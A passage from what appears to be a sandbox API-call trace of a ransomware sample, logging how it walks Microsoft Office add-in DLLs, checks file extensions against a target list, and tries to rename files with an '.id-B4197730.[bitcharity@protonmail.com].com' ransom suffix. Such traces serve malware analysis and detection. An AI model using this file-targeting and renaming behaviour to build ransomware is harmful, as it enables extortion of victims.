Integrated\\bin\\Microsoft.Mashup.Client.Excel.dll") returned 135 [0262.183] lstrlenW (lpString=".dbf") returned 4 [0262.183] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0262.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Excel.dll") returned 135 [0262.183] lstrlenW (lpString=".1cd") returned 4 [0262.183] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0262.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Excel.dll") returned 135 [0262.183] lstrlenW (lpString=".jpg") returned 4 [0262.183] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0262.184] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0262.184] lstrlenW (lpString="Microsoft.Mashup.Client.Excel.EditorRibbon.dll") returned 46 [0262.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Excel.EditorRibbon.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.mashup.client.excel.editorribbon.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x118c [0262.184] GetFileSizeEx (in: hFile=0x118c, lpFileSize=0x39eff14 | out: lpFileSize=0x39eff14*=26688) returned 1 [0262.184] CloseHandle (hObject=0x118c) returned 1 [0262.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Excel.EditorRibbon.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.mashup.client.excel.editorribbon.dll")) returned 0x220 [0262.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Excel.EditorRibbon.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.mashup.client.excel.editorribbon.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0262.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Excel.EditorRibbon.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.mashup.client.excel.editorribbon.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Excel.EditorRibbon.dll") returned 148 [0262.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Excel.EditorRibbon.dll") returned 148 [0262.185] lstrlenW (lpString=".doc") returned 4 [0262.185] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0262.185] lstrlenW (lpString=".docx") returned 5 [0262.185] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0262.185] lstrlenW (lpString=".pdf") returned 4 [0262.185] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0262.186] lstrlenW (lpString=".xls") returned 4 [0262.186] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0262.186] lstrlenW (lpString=".xlsx") returned 5 [0262.186] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0262.186] lstrlenW (lpString=".ppt") returned 4 [0262.186] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0262.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Excel.EditorRibbon.dll") returned 148 [0262.186] lstrlenW (lpString=".zip") returned 4 [0262.186] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0262.186] lstrlenW (lpString=".rar") returned 4 [0262.186] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0262.186] lstrlenW (lpString=".bz2") returned 4 [0262.186] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0262.186] lstrlenW (lpString=".7z") returned 3 [0262.186] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0262.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Excel.EditorRibbon.dll") returned 148 [0262.186] lstrlenW (lpString=".dbf") returned 4 [0262.186] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0262.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Excel.EditorRibbon.dll") returned 148 [0262.186] lstrlenW (lpString=".1cd") returned 4 [0262.186] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0262.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Excel.EditorRibbon.dll") returned 148 [0262.186] lstrlenW (lpString=".jpg") returned 4 [0262.186] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0262.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Excel.EditorRibbon.dll") returned 148 [0262.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Excel.EditorRibbon.dll") returned 148 [0262.186] lstrlenW (lpString=".doc") returned 4 [0262.186] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0262.186] lstrlenW (lpString=".docx") returned 5 [0262.186] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0262.186] lstrlenW (lpString=".pdf") returned 4 [0262.187] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0262.187] lstrlenW (lpString=".xls") returned 4 [0262.187] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0262.187] lstrlenW (lpString=".xlsx") returned 5 [0262.187] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0262.187] lstrlenW (lpString=".ppt") returned 4 [0262.187] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0262.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Excel.EditorRibbon.dll") returned 148 [0262.187] lstrlenW (lpString=".zip") returned 4 [0262.187] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0262.187] lstrlenW (lpString=".rar") returned 4 [0262.187] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0262.187] lstrlenW (lpString=".bz2") returned 4 [0262.187] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0262.187] lstrlenW (lpString=".7z") returned 3 [0262.187] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0262.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Excel.EditorRibbon.dll") returned 148 [0262.187] lstrlenW (lpString=".dbf") returned 4 [0262.187] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0262.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Excel.EditorRibbon.dll") returned 148 [0262.187] lstrlenW (lpString=".1cd") returned 4 [0262.187] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0262.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Excel.EditorRibbon.dll") returned 148 [0262.187] lstrlenW (lpString=".jpg") returned 4 [0262.187] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0262.187] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0262.187] lstrlenW (lpString="Microsoft.Mashup.Client.Initialization.dll") returned 42 [0262.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Initialization.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.mashup.client.initialization.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x118c [0262.188] GetFileSizeEx (in: hFile=0x118c, lpFileSize=0x39eff14 | out: lpFileSize=0x39eff14*=12968) returned 1 [0262.188] CloseHandle (hObject=0x118c) returned 1 [0262.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Initialization.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.mashup.client.initialization.dll")) returned 0x220 [0262.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Initialization.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.mashup.client.initialization.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0262.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Initialization.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.mashup.client.initialization.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Initialization.dll") returned 144 [0262.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Initialization.dll") returned 144 [0262.189] lstrlenW (lpString=".doc") returned 4 [0262.189] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0262.189] lstrlenW (lpString=".docx") returned 5 [0262.189] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0262.189] lstrlenW (lpString=".pdf") returned 4 [0262.189] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0262.189] lstrlenW (lpString=".xls") returned 4 [0262.189] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0262.189] lstrlenW (lpString=".xlsx") returned 5 [0262.189] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0262.189] lstrlenW (lpString=".ppt") returned 4 [0262.189] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0262.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Initialization.dll") returned 144 [0262.189] lstrlenW (lpString=".zip") returned 4 [0262.189] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0262.189] lstrlenW (lpString=".rar") returned 4 [0262.189] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0262.189] lstrlenW (lpString=".bz2") returned 4 [0262.189] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0262.189] lstrlenW (lpString=".7z") returned 3 [0262.189] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0262.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Initialization.dll") returned 144 [0262.189] lstrlenW (lpString=".dbf") returned 4 [0262.189] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0262.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Initialization.dll") returned 144 [0262.189] lstrlenW (lpString=".1cd") returned 4 [0262.189] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0262.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Initialization.dll") returned 144 [0262.190] lstrlenW (lpString=".jpg") returned 4 [0262.190] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0262.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Initialization.dll") returned 144 [0262.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Initialization.dll") returned 144 [0262.190] lstrlenW (lpString=".doc") returned 4 [0262.190] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0262.190] lstrlenW (lpString=".docx") returned 5 [0262.190] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0262.190] lstrlenW (lpString=".pdf") returned 4 [0262.190] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0262.190] lstrlenW (lpString=".xls") returned 4 [0262.190] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0262.190] lstrlenW (lpString=".xlsx") returned 5 [0262.190] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0262.190] lstrlenW (lpString=".ppt") returned 4 [0262.190] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0262.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Initialization.dll") returned 144 [0262.190] lstrlenW (lpString=".zip") returned 4 [0262.190] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0262.190] lstrlenW (lpString=".rar") returned 4 [0262.190] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0262.190] lstrlenW (lpString=".bz2") returned 4 [0262.190] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0262.190] lstrlenW (lpString=".7z") returned 3 [0262.190] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0262.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Initialization.dll") returned 144 [0262.190] lstrlenW (lpString=".dbf") returned 4 [0262.190] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0262.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Initialization.dll") returned 144 [0262.190] lstrlenW (lpString=".1cd") returned 4 [0262.191] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0262.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Initialization.dll") returned 144 [0262.191] lstrlenW (lpString=".jpg") returned 4 [0262.191] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0262.191] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0262.191] lstrlenW (lpString="Microsoft.Mashup.Client.Models.dll") returned 34 [0262.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Models.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.mashup.client.models.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1158 [0262.213] GetFileSizeEx (in: hFile=0x1158, lpFileSize=0x39eff14 | out: lpFileSize=0x39eff14*=84032) returned 1 [0262.214] CloseHandle (hObject=0x1158) returned 1 [0262.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Models.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.mashup.client.models.dll")) returned 0x220 [0262.215] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Models.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.mashup.client.models.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0262.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Models.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.mashup.client.models.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Models.dll") returned 136 [0262.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Models.dll") returned 136 [0262.215] lstrlenW (lpString=".doc") returned 4 [0262.215] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0262.215] lstrlenW (lpString=".docx") returned 5 [0262.215] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0262.215] lstrlenW (lpString=".pdf") returned 4 [0262.215] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0262.215] lstrlenW (lpString=".xls") returned 4 [0262.216] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0262.216] lstrlenW (lpString=".xlsx") returned 5 [0262.216] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0262.216] lstrlenW (lpString=".ppt") returned 4 [0262.216] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0262.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Models.dll") returned 136 [0262.216] lstrlenW (lpString=".zip") returned 4 [0262.216] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0262.216] lstrlenW (lpString=".rar") returned 4 [0262.216] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0262.216] lstrlenW (lpString=".bz2") returned 4 [0262.216] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0262.216] lstrlenW (lpString=".7z") returned 3 [0262.216] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0262.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Models.dll") returned 136 [0262.216] lstrlenW (lpString=".dbf") returned 4 [0262.216] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0262.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Models.dll") returned 136 [0262.216] lstrlenW (lpString=".1cd") returned 4 [0262.216] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0262.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Models.dll") returned 136 [0262.216] lstrlenW (lpString=".jpg") returned 4 [0262.216] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0262.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Models.dll") returned 136 [0262.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Models.dll") returned 136 [0262.217] lstrlenW (lpString=".doc") returned 4 [0262.217] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0262.217] lstrlenW (lpString=".docx") returned 5 [0262.217] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0262.217] lstrlenW (lpString=".pdf") returned 4 [0262.217] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0262.217] lstrlenW (lpString=".xls") returned 4 [0262.217] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0262.217] lstrlenW (lpString=".xlsx") returned 5 [0262.217] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0262.217] lstrlenW (lpString=".ppt") returned 4 [0262.217] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0262.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Models.dll") returned 136 [0262.217] lstrlenW (lpString=".zip") returned 4 [0262.217] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0262.217] lstrlenW (lpString=".rar") returned 4 [0262.217] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0262.217] lstrlenW (lpString=".bz2") returned 4 [0262.217] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0262.217] lstrlenW (lpString=".7z") returned 3 [0262.217] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0262.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Models.dll") returned 136 [0262.218] lstrlenW (lpString=".dbf") returned 4 [0262.218] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0262.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Models.dll") returned 136 [0262.218] lstrlenW (lpString=".1cd") returned 4 [0262.218] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0262.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Models.dll") returned 136 [0262.218] lstrlenW (lpString=".jpg") returned 4 [0262.218] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0262.218] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0262.218] lstrlenW (lpString="Microsoft.Mashup.Client.Windows.dll") returned 35 [0262.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Windows.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.mashup.client.windows.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1158 [0262.219] GetFileSizeEx (in: hFile=0x1158, lpFileSize=0x39eff14 | out: lpFileSize=0x39eff14*=37376064) returned 1 [0262.219] CloseHandle (hObject=0x1158) returned 1 [0262.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Windows.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.mashup.client.windows.dll")) returned 0x220 [0262.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Windows.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.mashup.client.windows.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0262.220] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Windows.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.mashup.client.windows.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Windows.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.mashup.client.windows.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0262.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Windows.dll") returned 137 [0262.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Windows.dll") returned 137 [0262.220] lstrlenW (lpString=".doc") returned 4 [0262.220] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0262.220] lstrlenW (lpString=".docx") returned 5 [0262.220] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0262.220] lstrlenW (lpString=".pdf") returned 4 [0262.220] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0262.220] lstrlenW (lpString=".xls") returned 4 [0262.220] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0262.220] lstrlenW (lpString=".xlsx") returned 5 [0262.220] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0262.220] lstrlenW (lpString=".ppt") returned 4 [0262.220] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0262.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Windows.dll") returned 137 [0262.220] lstrlenW (lpString=".zip") returned 4 [0262.220] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0262.221] lstrlenW (lpString=".rar") returned 4 [0262.221] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0262.221] lstrlenW (lpString=".bz2") returned 4 [0262.221] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0262.221] lstrlenW (lpString=".7z") returned 3 [0262.221] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0262.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Windows.dll") returned 137 [0262.221] lstrlenW (lpString=".dbf") returned 4 [0262.221] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0262.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Windows.dll") returned 137 [0262.221] lstrlenW (lpString=".1cd") 